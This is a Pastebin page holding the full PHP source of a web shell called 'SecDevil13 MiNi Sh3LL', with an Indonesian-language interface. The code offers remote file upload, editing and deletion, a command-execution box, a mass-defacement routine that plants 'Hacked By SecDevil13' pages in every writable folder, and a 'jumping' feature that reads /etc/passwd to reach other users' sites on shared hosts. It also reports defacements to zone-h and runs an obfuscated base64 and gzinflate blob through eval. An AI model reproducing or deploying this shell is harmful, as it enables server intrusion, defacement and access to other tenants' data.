Advertisement
waldika

Shell

Apr 26th, 2018
4,403
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 19.54 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3. set_time_limit(0);
  4.  
  5. if(get_magic_quotes_gpc()){
  6. foreach($_POST as $key=>$value){
  7. $_POST[$key] = stripslashes($value);
  8. }
  9. }
  10. echo '<!DOCTYPE HTML>
  11. <html>
  12. <head>
  13. <link href="" rel="stylesheet" type="text/css">
  14. <title>SecDevil13 Sh3LL</title>
  15. <style>
  16. body{
  17. font-family: "Jolly Lodger", cursive;
  18. background-color: black;
  19. color: white;
  20. }
  21. #content tr:hover{
  22. background-color: red;
  23. text-shadow:0px 0px 10px black;
  24. }
  25. #content .first{
  26. background-color: red;
  27. }
  28. table{
  29. border: 1px #000000 dotted;
  30. }
  31. a{
  32. color: white;
  33. text-decoration: none;
  34. }
  35. a:hover{
  36. color:blue;
  37. text-shadow:0px 0px 10px #ffffff;
  38. }
  39. input,select,textarea{
  40. border: 1px #000000 solid;
  41. -moz-border-radius: 5px;
  42. -webkit-border-radius:5px;
  43. border-radius:5px;
  44. }
  45. </style>
  46. </head>
  47. <body>
  48. <h1><center><font color="red" face="Jolly Lodger">SecDevil13 MiNi Sh3LL</font></center></h1>
  49. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  50. <tr><td><font color="white">Path :</font> ';
  51. if(isset($_GET['path'])){
  52. $path = $_GET['path'];
  53. }else{
  54. $path = getcwd();
  55. }
  56. $path = str_replace('\\','/',$path);
  57. $paths = explode('/',$path);
  58.  
  59. foreach($paths as $id=>$pat){
  60. if($pat == '' && $id == 0){
  61. $a = true;
  62. echo '<a href="?path=/">/</a>';
  63. continue;
  64. }
  65. if($pat == '') continue;
  66. echo '<a href="?path=';
  67. for($i=0;$i<=$id;$i++){
  68. echo "$paths[$i]";
  69. if($i != $id) echo "/";
  70. }
  71. echo '">'.$pat.'</a>/';
  72. }
  73. echo '</td></tr><tr><td>';
  74. if(isset($_FILES['file'])){
  75. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  76. echo '<font color="green">Berhasil Njeng!!!</font><br />';
  77. }else{
  78. echo '<font color="red">Gagal Njeng!!!</font><br/>';
  79. }
  80. }
  81. if(isset($_GET['dir'])) {
  82. $dir = $_GET['dir'];
  83. chdir($dir);
  84. } else {
  85. $dir = getcwd();
  86. }
  87. $ip = gethostbyname($_SERVER['HTTP_HOST']);
  88. $kernel = php_uname();
  89. $ds = @ini_get("disable_functions");
  90. $show_ds = (!empty($ds)) ? "<font color=red>$ds</font>" : "<font color=lime>Bersih Njeng!</font>";
  91. if(!function_exists('posix_getegid')) {
  92. $user = @get_current_user();
  93. $uid = @getmyuid();
  94. $gid = @getmygid();
  95. $group = "?";
  96. } else {
  97. $uid = @posix_getpwuid(posix_geteuid());
  98. $gid = @posix_getgrgid(posix_getegid());
  99. $user = $uid['name'];
  100. $uid = $uid['uid'];
  101. $group = $gid['name'];
  102. $gid = $gid['gid'];
  103. }
  104. echo "Disable Functions : $show_ds<br>";
  105. echo "System : <font color=lime>".$kernel."</font><br>";
  106. echo "<center>";
  107. echo "<hr>";
  108. echo "[ <a href='?'>Home</a> ]";
  109. echo "[ <a href='?dir=$dir&to=zoneh'>Zone-h</a> ]";
  110. echo "[ <a href='?dir=$dir&to=jumping'>Jumping</a> ]";
  111. echo "[ <a href='?dir=$dir&to=sym'>Symlink</a> ]";
  112. echo "[ <a href='?dir=$dir&to=mass'>Mass Depes</a> ]";
  113. echo "[ <a href='?dir=$dir&to=cmd'>Command</a> ]";
  114. echo "</center>";
  115. echo "<hr>";
  116. if($_GET['to'] == 'zoneh') {
  117. if($_POST['submit']) {
  118. $domain = explode("\r\n", $_POST['url']);
  119. $nick = $_POST['nick'];
  120. echo "Defacer Onhold: <a href='http://www.zone-h.org/archive/notifier=$nick/published=0' target='_blank'>http://www.zone-h.org/archive/notifier=$nick/published=0</a><br>";
  121. echo "Defacer Archive: <a href='http://www.zone-h.org/archive/notifier=$nick' target='_blank'>http://www.zone-h.org/archive/notifier=$nick</a><br><br>";
  122. function zoneh($url,$nick) {
  123. $ch = curl_init("http://www.zone-h.com/notify/single");
  124. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  125. curl_setopt($ch, CURLOPT_POST, true);
  126. curl_setopt($ch, CURLOPT_POSTFIELDS, "defacer=$nick&domain1=$url&hackmode=1&reason=1&submit=Send");
  127. return curl_exec($ch);
  128. curl_close($ch);
  129. }
  130. foreach($domain as $url) {
  131. $zoneh = zoneh($url,$nick);
  132. if(preg_match("/color=\"red\">OK<\/font><\/li>/i", $zoneh)) {
  133. echo "$url -> <font color=lime>OK</font><br>";
  134. } else {
  135. echo "$url -> <font color=red>ERROR</font><br>";
  136. }
  137. }
  138. } else {
  139. echo "<center><form method='post'>
  140. <u>Defacer</u>: <br>
  141. <input type='text' name='nick' size='50' value='Error People Squad'><br>
  142. <u>Domains</u>: <br>
  143. <textarea style='width: 450px; height: 150px;' name='url'></textarea><br>
  144. <input type='submit' name='submit' value='Submit' style='width: 450px;'>
  145. </form>";
  146. }
  147. echo "</center>";
  148. } elseif($_GET['to'] == 'mass') {
  149. function sabun_massal($dir,$namafile,$isi_script) {
  150. if(is_writable($dir)) {
  151. $dira = scandir($dir);
  152. foreach($dira as $dirb) {
  153. $dirc = "$dir/$dirb";
  154. $lokasi = $dirc.'/'.$namafile;
  155. if($dirb === '.') {
  156. file_put_contents($lokasi, $isi_script);
  157. } elseif($dirb === '..') {
  158. file_put_contents($lokasi, $isi_script);
  159. } else {
  160. if(is_dir($dirc)) {
  161. if(is_writable($dirc)) {
  162. echo "[<font color=lime>DONE</font>] $lokasi<br>";
  163. file_put_contents($lokasi, $isi_script);
  164. $idx = sabun_massal($dirc,$namafile,$isi_script);
  165. }
  166. }
  167. }
  168. }
  169. }
  170. }
  171. function sabun_biasa($dir,$namafile,$isi_script) {
  172. if(is_writable($dir)) {
  173. $dira = scandir($dir);
  174. foreach($dira as $dirb) {
  175. $dirc = "$dir/$dirb";
  176. $lokasi = $dirc.'/'.$namafile;
  177. if($dirb === '.') {
  178. file_put_contents($lokasi, $isi_script);
  179. } elseif($dirb === '..') {
  180. file_put_contents($lokasi, $isi_script);
  181. } else {
  182. if(is_dir($dirc)) {
  183. if(is_writable($dirc)) {
  184. echo "[<font color=lime>DONE</font>] $dirb/$namafile<br>";
  185. file_put_contents($lokasi, $isi_script);
  186. }
  187. }
  188. }
  189. }
  190. }
  191. }
  192. if($_POST['start']) {
  193. if($_POST['tipe_sabun'] == 'mahal') {
  194. echo "<div style='margin: 5px auto; padding: 5px'>";
  195. sabun_massal($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
  196. echo "</div>";
  197. } elseif($_POST['tipe_sabun'] == 'murah') {
  198. echo "<div style='margin: 5px auto; padding: 5px'>";
  199. sabun_biasa($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
  200. echo "</div>";
  201. }
  202. } else {
  203. echo "<center>";
  204. echo "<form method='post'>
  205. <font style='text-decoration: underline;'>Tipe Mass:</font><br>
  206. <input type='radio' name='tipe_sabun' value='murah' checked>Biasa<input type='radio' name='tipe_sabun' value='mahal'>Massal<br>
  207. <font style='text-decoration: underline;'>Folder:</font><br>
  208. <input type='text' name='d_dir' value='$dir' style='width: 450px;' height='10'><br>
  209. <font style='text-decoration: underline;'>Filename:</font><br>
  210. <input type='text' name='d_file' value='sec13.php' style='width: 450px;' height='10'><br>
  211. <font style='text-decoration: underline;'>Index File:</font><br>
  212. <textarea name='script' style='width: 450px; height: 200px;'>Hacked By SecDevil13</textarea><br>
  213. <input type='submit' name='start' value='HAJAR COK!' style='width: 450px;'>
  214. </form></center>";
  215. }
  216. }elseif($_GET['to'] == 'sym') {
  217. echo '<hr>';
  218. eval(gzinflate(base64_decode('7Vf/T9tGFP89Uv6H1yOT7ZHaSRBrReKUrjCt0lakAtskqCLHPmOPi8+6u2BSyv++d+fYpE4AlVbaJhWJyHnf/b583ksnnjMGPkglJoLmLAip3ZkcH77/4/D9mXVw9Ob098N3J5P3R0cn1ocuENKFTh6oxBm2W52oNwvSTKL6fpwyahOPqtDLghmN3JBnMdFSW1uJUmhWtltpbFc6zk27tT+7jFJhk4iGwWIiFzPS7b148UIr7YdJg2Wo9JqGNmEZPJfggeBcGXpHe9/BMKyjXKUcI3qbRSgr4RfOGC+OF7Pf0uwSIzhIBQ0VFwsjAMa8m6hZu/U6ik4WOQVFr5WHeUgzcPMkB8P5NcgiRkWT2W4dByqV8QJeZwvLBJLrMGKe08y20HAQ4otLq2sVVhloYfiFSBXmGaW7ZezOcD8OGZclUYvSMOFA2q2RCqaMQsDSi8wPaaYwjCkXERX+DlZtwahvFWmkkr2fej8MS87zkDMu9rZe/tzDv6E11maE+Yw+szQexTxTYMR9ls4oyPQj9QfjYxfecXfkafZ45KnoS5QPuCnxE7VPJRVP1cVCMyx0Q9vDdyemX0M+Rz0f+vgt5oIGYVJ3JAQSls+6ObFXqaAXqU0+8oySbsVybnIkT2aBCpNJwJhtbWkBILb7o0O2rG5lRD+UidDljNlcJrZ+QsM4bAwbRIl0ZldCZ/0PZ70PjgNjGGj/nTnmAUPNuUyvJxdU5cU8jWwzaLzIqFhO2xUmJpBUesRtmqq7CIvfyB8mpszhMnEEXKjS46LCPelnNEZqAImgsY9jne95XlEUbtO3S7yqRiyQ0lfXarwuU3sJVjxpOf3qZ5bGEcuI1bzKtdXRsOXV6OBpKPASPqPemrqXz6csDSc45cwCFQjMpW9NpizILq21KJsdtAxt2UOwWshlvra3h7e3t3WqPTOvpt9uKZNUl/Lk8PjELyHSMkXL0V0RWWU7gG0EnoSI/3VAhMcQER6AROQ2UREqWIQHcLE/LtEO7sEN0/M7GzHuEZUN2PSYk3VEqvEIPgckMO9dJ4usdApuXSKIA1wAvU6VTU4z8/aKg5YFrfjMVB6KRLfZs5hyXLaa7ujGgo7e0jG2vlxSjUODYlSzAiGChV1SdUB3IIcte+4huL1yzvfOPU9qhJPdWrdpaPWQIOVEdvFqqCRw9o3GHQrWhhD5+gP49AnWGL4PPc24c+MDmaYZWSPqlP3V73uxXOddBcJj6dTL7mMGIi80aTP3gucJFes8uTEQYy+arTPmEk0hNN0TQ6zyzW+VbWJoDcTfzQxzhxEHk423mEqzOb0bID0gDzXuho3wYLevwLzWq0KpFMmq50cMVBj/AMQ3XKwi/BrA1wMY3DN9Gr9rlKkmownmJZTr+5VLeIYJ/jPNIl5I4tzci9mbEFtfsGt4fYfW6PkLAbvXe/kNoLrd+mqwfgCpq0Ing2WZrcsBYzs70aAuDxxTcUXFyEsG428C7m8P/lVgV3SWY6IIGXbwQOvjY888DTTW65schfAAtZfskQ+GW37d3nbgpoPXnv5h1bj/jMASQfFwQJJTOnN9+JunWLY9q2vILjnPsHGrSlijqfDG1rAKrTw+9ZdlA+4i0URllo+iUrk4jgjeRblY4nxeLY/d7lJRk1dGZxdNray0ap9tsvpV+2x9mX2bTfZ9jX1fY//nNdYYxw2bbORF6RV+LoMmw3mmza5MplG6Bb3v4E59EwK+CbKM4yvjz2hFoYmHtQdtrvx/Nf4H')));
  219. } elseif($_GET['to'] == 'jumping') {
  220. $i = 0;
  221. echo "<div class='margin: 5px auto;'>";
  222. if(preg_match("/hsphere/", $dir)) {
  223. $urls = explode("\r\n", $_POST['url']);
  224. if(isset($_POST['jump'])) {
  225. echo "<pre>";
  226. foreach($urls as $url) {
  227. $url = str_replace(array("http://","www."), "", strtolower($url));
  228. $etc = "/etc/passwd";
  229. $f = fopen($etc,"r");
  230. while($gets = fgets($f)) {
  231. $pecah = explode(":", $gets);
  232. $user = $pecah[0];
  233. $dir_user = "/hsphere/local/home/$user";
  234. if(is_dir($dir_user) === true) {
  235. $url_user = $dir_user."/".$url;
  236. if(is_readable($url_user)) {
  237. $i++;
  238. $jrw = "[<font color=lime>R</font>] <a href='?dir=$url_user'><font color=gold>$url_user</font></a>";
  239. if(is_writable($url_user)) {
  240. $jrw = "[<font color=lime>RW</font>] <a href='?dir=$url_user'><font color=gold>$url_user</font></a>";
  241. }
  242. echo $jrw."<br>";
  243. }
  244. }
  245. }
  246. }
  247. if($i == 0) {
  248. } else {
  249. echo "<br>Total ada ".$i." Kamar di ".$ip;
  250. }
  251. echo "</pre>";
  252. } else {
  253. echo '<center>
  254. <form method="post">
  255. List Domains: <br>
  256. <textarea name="url" style="width: 500px; height: 250px;">';
  257. $fp = fopen("/hsphere/local/config/httpd/sites/sites.txt","r");
  258. while($getss = fgets($fp)) {
  259. echo $getss;
  260. }
  261. echo '</textarea><br>
  262. <input type="submit" value="Jumping" name="jump" style="width: 500px; height: 25px;">
  263. </form></center>';
  264. }
  265. } elseif(preg_match("/vhosts|vhost/", $dir)) {
  266. preg_match("/\/var\/www\/(.*?)\//", $dir, $vh);
  267. $urls = explode("\r\n", $_POST['url']);
  268. if(isset($_POST['jump'])) {
  269. echo "<pre>";
  270. foreach($urls as $url) {
  271. $url = str_replace("www.", "", $url);
  272. $web_vh = "/var/www/".$vh[1]."/$url/httpdocs";
  273. if(is_dir($web_vh) === true) {
  274. if(is_readable($web_vh)) {
  275. $i++;
  276. $jrw = "[<font color=lime>R</font>] <a href='?dir=$web_vh'><font color=gold>$web_vh</font></a>";
  277. if(is_writable($web_vh)) {
  278. $jrw = "[<font color=lime>RW</font>] <a href='?dir=$web_vh'><font color=gold>$web_vh</font></a>";
  279. }
  280. echo $jrw."<br>";
  281. }
  282. }
  283. }
  284. if($i == 0) {
  285. } else {
  286. echo "<br>Total ada ".$i." Kamar di ".$ip;
  287. }
  288. echo "</pre>";
  289. } else {
  290. echo '<center>
  291. <form method="post">
  292. List Domains: <br>
  293. <textarea name="url" style="width: 500px; height: 250px;">';
  294. bing("ip:$ip");
  295. echo '</textarea><br>
  296. <input type="submit" value="Jumping" name="jump" style="width: 500px; height: 25px;">
  297. </form></center>';
  298. }
  299. } else {
  300. echo "<pre>";
  301. $etc = fopen("/etc/passwd", "r") or die("<font color=red>Can't read /etc/passwd</font>");
  302. while($passwd = fgets($etc)) {
  303. if($passwd == '' || !$etc) {
  304. echo "<font color=red>Can't read /etc/passwd</font>";
  305. } else {
  306. preg_match_all('/(.*?):x:/', $passwd, $user_jumping);
  307. foreach($user_jumping[1] as $user_idx_jump) {
  308. $user_jumping_dir = "/home/$user_idx_jump/public_html";
  309. if(is_readable($user_jumping_dir)) {
  310. $i++;
  311. $jrw = "[<font color=lime>R</font>] <a href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a>";
  312. if(is_writable($user_jumping_dir)) {
  313. $jrw = "[<font color=lime>RW</font>] <a href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a>";
  314. }
  315. echo $jrw;
  316. if(function_exists('posix_getpwuid')) {
  317. $domain_jump = file_get_contents("/etc/named.conf");
  318. if($domain_jump == '') {
  319. echo " => ( <font color=red>gabisa ambil nama domain nya</font> )<br>";
  320. } else {
  321. preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);
  322. foreach($domains_jump[1] as $dj) {
  323. $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
  324. $user_jumping_url = $user_jumping_url['name'];
  325. if($user_jumping_url == $user_idx_jump) {
  326. echo " => ( <u>$dj</u> )<br>";
  327. break;
  328. }
  329. }
  330. }
  331. } else {
  332. echo "<br>";
  333. }
  334. }
  335. }
  336. }
  337. }
  338. if($i == 0) {
  339. } else {
  340. echo "<br>Total ada ".$i." Kamar di ".$ip;
  341. }
  342. echo "</pre>";
  343. }
  344. echo "</div>";
  345. } elseif($_GET['to'] == 'cmd') {
  346. echo "<form method='post'>
  347. <font style='text-decoration: underline;'>".$user."@".$ip.": ~ $ </font>
  348. <input type='text' size='30' height='10' name='cmd'><input type='submit' name='do_cmd' value='>>'>
  349. </form>";
  350. if($_POST['do_cmd']) {
  351. echo "<pre>".exe($_POST['cmd'])."</pre>";
  352. }
  353. }
  354. echo '<form enctype="multipart/form-data" method="POST">
  355. <font color="white">File Upload :</font> <input type="file" name="file" />
  356. <input type="submit" value="Crotz" />
  357. </form>
  358. </td></tr>';
  359. if(isset($_GET['filesrc'])){
  360. echo "<tr><td>Current File : ";
  361. echo $_GET['filesrc'];
  362. echo '</tr></td></table><br />';
  363. echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  364. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  365. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  366. if($_POST['opt'] == 'chmod'){
  367. if(isset($_POST['perm'])){
  368. if(chmod($_POST['path'],$_POST['perm'])){
  369. echo '<font color="green">Change Permission Berhasil</font><br/>';
  370. }else{
  371. echo '<font color="red">Change Permission Gagal</font><br />';
  372. }
  373. }
  374. echo '<form method="POST">
  375. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  376. <input type="hidden" name="path" value="'.$_POST['path'].'">
  377. <input type="hidden" name="opt" value="chmod">
  378. <input type="submit" value="Go" />
  379. </form>';
  380. }elseif($_POST['opt'] == 'rename'){
  381. if(isset($_POST['newname'])){
  382. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  383. echo '<font color="green">Ganti Nama Berhasil</font><br/>';
  384. }else{
  385. echo '<font color="red">Ganti Nama Gagal</font><br />';
  386. }
  387. $_POST['name'] = $_POST['newname'];
  388. }
  389. echo '<form method="POST">
  390. Nama Baru : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  391. <input type="hidden" name="path" value="'.$_POST['path'].'">
  392. <input type="hidden" name="opt" value="rename">
  393. <input type="submit" value="Crotz" />
  394. </form>';
  395. }elseif($_POST['opt'] == 'edit'){
  396. if(isset($_POST['src'])){
  397. $fp = fopen($_POST['path'],'w');
  398. if(fwrite($fp,$_POST['src'])){
  399. echo '<font color="green">Berhasil Edit File</font><br/>';
  400. }else{
  401. echo '<font color="red">Gagal Edit File</font><br/>';
  402. }
  403. fclose($fp);
  404. }
  405. echo '<form method="POST">
  406. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  407. <input type="hidden" name="path" value="'.$_POST['path'].'">
  408. <input type="hidden" name="opt" value="edit">
  409. <input type="submit" value="Save" />
  410. </form>';
  411. }
  412. echo '</center>';
  413. }else{
  414. echo '</table><br/><center>';
  415. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  416. if($_POST['type'] == 'dir'){
  417. if(rmdir($_POST['path'])){
  418. echo '<font color="green">Directory Terhapus</font><br/>';
  419. }else{
  420. echo '<font color="red">Directory Gagal Terhapus </font><br/>';
  421. }
  422. }elseif($_POST['type'] == 'file'){
  423. if(unlink($_POST['path'])){
  424. echo '<font color="green">File Terhapus</font><br/>';
  425. }else{
  426. echo '<font color="red">File Gagal Dihapus</font><br/>';
  427. }
  428. }
  429. }
  430. echo '</center>';
  431. $scandir = scandir($path);
  432. echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  433. <tr class="first">
  434. <td><center>Name</peller></center></td>
  435. <td><center>Size</peller></center></td>
  436. <td><center>Permission</peller></center></td>
  437. <td><center>Modify</peller></center></td>
  438. </tr>';
  439.  
  440. foreach($scandir as $dir){
  441. if(!is_dir($path.'/'.$dir) || $dir == '.' || $dir == '..') continue;
  442. echo '<tr>
  443. <td><a href="?path='.$path.'/'.$dir.'">'.$dir.'</a></td>
  444. <td><center>--</center></td>
  445. <td><center>';
  446. if(is_writable($path.'/'.$dir)) echo '<font color="green">';
  447. elseif(!is_readable($path.'/'.$dir)) echo '<font color="red">';
  448. echo perms($path.'/'.$dir);
  449. if(is_writable($path.'/'.$dir) || !is_readable($path.'/'.$dir)) echo '</font>';
  450.  
  451. echo '</center></td>
  452. <td><center><form method="POST" action="?option&path='.$path.'">
  453. <select name="opt">
  454. <option value="">Select</option>
  455. <option value="delete">Delete</option>
  456. <option value="chmod">Chmod</option>
  457. <option value="rename">Rename</option>
  458. </select>
  459. <input type="hidden" name="type" value="dir">
  460. <input type="hidden" name="name" value="'.$dir.'">
  461. <input type="hidden" name="path" value="'.$path.'/'.$dir.'">
  462. <input type="submit" value=">">
  463. </form></center></td>
  464. </tr>';
  465. }
  466. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  467. foreach($scandir as $file){
  468. if(!is_file($path.'/'.$file)) continue;
  469. $size = filesize($path.'/'.$file)/1024;
  470. $size = round($size,3);
  471. if($size >= 1024){
  472. $size = round($size/1024,2).' MB';
  473. }else{
  474. $size = $size.' KB';
  475. }
  476.  
  477. echo '<tr>
  478. <td><a href="?filesrc='.$path.'/'.$file.'&path='.$path.'">'.$file.'</a></td>
  479. <td><center>'.$size.'</center></td>
  480. <td><center>';
  481. if(is_writable($path.'/'.$file)) echo '<font color="green">';
  482. elseif(!is_readable($path.'/'.$file)) echo '<font color="red">';
  483. echo perms($path.'/'.$file);
  484. if(is_writable($path.'/'.$file) || !is_readable($path.'/'.$file)) echo '</font>';
  485. echo '</center></td>
  486. <td><center><form method="POST" action="?option&path='.$path.'">
  487. <select name="opt">
  488. <option value="">Pilih</option>
  489. <option value="delete">Hapus</option>
  490. <option value="chmod">Chmod</option>
  491. <option value="rename">Ganti Nama</option>
  492. <option value="edit">Ubah</option>
  493. </select>
  494. <input type="hidden" name="type" value="file">
  495. <input type="hidden" name="name" value="'.$file.'">
  496. <input type="hidden" name="path" value="'.$path.'/'.$file.'">
  497. <input type="submit" value=">">
  498. </form></center></td>
  499. </tr>';
  500. }
  501. echo '</table>
  502. </div>';
  503. }
  504. echo '<center><br/>Mr Secretz Recoded by SecDevil13</center>
  505. </body>
  506. </html>';
  507. function perms($file){
  508. $perms = fileperms($file);
  509.  
  510. if (($perms & 0xC000) == 0xC000) {
  511. // Socket
  512. $info = 's';
  513. } elseif (($perms & 0xA000) == 0xA000) {
  514. // Symbolic Link
  515. $info = 'l';
  516. } elseif (($perms & 0x8000) == 0x8000) {
  517. // Regular
  518. $info = '-';
  519. } elseif (($perms & 0x6000) == 0x6000) {
  520. // Block special
  521. $info = 'b';
  522. } elseif (($perms & 0x4000) == 0x4000) {
  523. // Directory
  524. $info = 'd';
  525. } elseif (($perms & 0x2000) == 0x2000) {
  526. // Character special
  527. $info = 'c';
  528. } elseif (($perms & 0x1000) == 0x1000) {
  529. // FIFO pipe
  530. $info = 'p';
  531. } else {
  532. // Unknown
  533. $info = 'u';
  534. }
  535.  
  536. // Owner
  537. $info .= (($perms & 0x0100) ? 'r' : '-');
  538. $info .= (($perms & 0x0080) ? 'w' : '-');
  539. $info .= (($perms & 0x0040) ?
  540. (($perms & 0x0800) ? 's' : 'x' ) :
  541. (($perms & 0x0800) ? 'S' : '-'));
  542.  
  543. // Group
  544. $info .= (($perms & 0x0020) ? 'r' : '-');
  545. $info .= (($perms & 0x0010) ? 'w' : '-');
  546. $info .= (($perms & 0x0008) ?
  547. (($perms & 0x0400) ? 's' : 'x' ) :
  548. (($perms & 0x0400) ? 'S' : '-'));
  549.  
  550. // World
  551. $info .= (($perms & 0x0004) ? 'r' : '-');
  552. $info .= (($perms & 0x0002) ? 'w' : '-');
  553. $info .= (($perms & 0x0001) ?
  554. (($perms & 0x0200) ? 't' : 'x' ) :
  555. (($perms & 0x0200) ? 'T' : '-'));
  556.  
  557. return $info;
  558. }
  559. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement